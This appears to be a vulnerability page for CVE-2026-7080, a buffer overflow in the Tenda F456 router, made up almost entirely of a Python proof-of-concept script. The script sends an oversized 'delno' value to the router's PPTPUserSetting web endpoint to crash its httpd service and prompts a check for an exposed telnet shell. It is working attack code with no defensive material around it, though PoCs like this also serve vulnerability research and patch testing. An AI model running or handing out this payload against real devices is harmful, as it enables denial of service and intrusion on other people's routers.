CVE-2026-7080 Tenda F456缓冲区溢出漏洞

import requests def exploit_poc(target_ip): """ PoC for CVE-2026-7080 Buffer Overflow in Tenda F456 Triggers a crash in the httpd service via PPTPUserSetting. """ url = f"http://{target_ip}/goform/PPTPUserSetting" # Construct payload to trigger buffer overflow on 'delno' argument # Length depends on specific buffer size (e.g., > 100 bytes) payload = "A" * 500 data = { "delno": payload } try: print(f"Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"Response Status: {response.status_code}") print("Check if device has crashed or telnet shell is available.") except Exception as e: print(f"Request failed (Device likely crashed): {e}") if __name__ == "__main__": exploit_poc("192.168.0.1")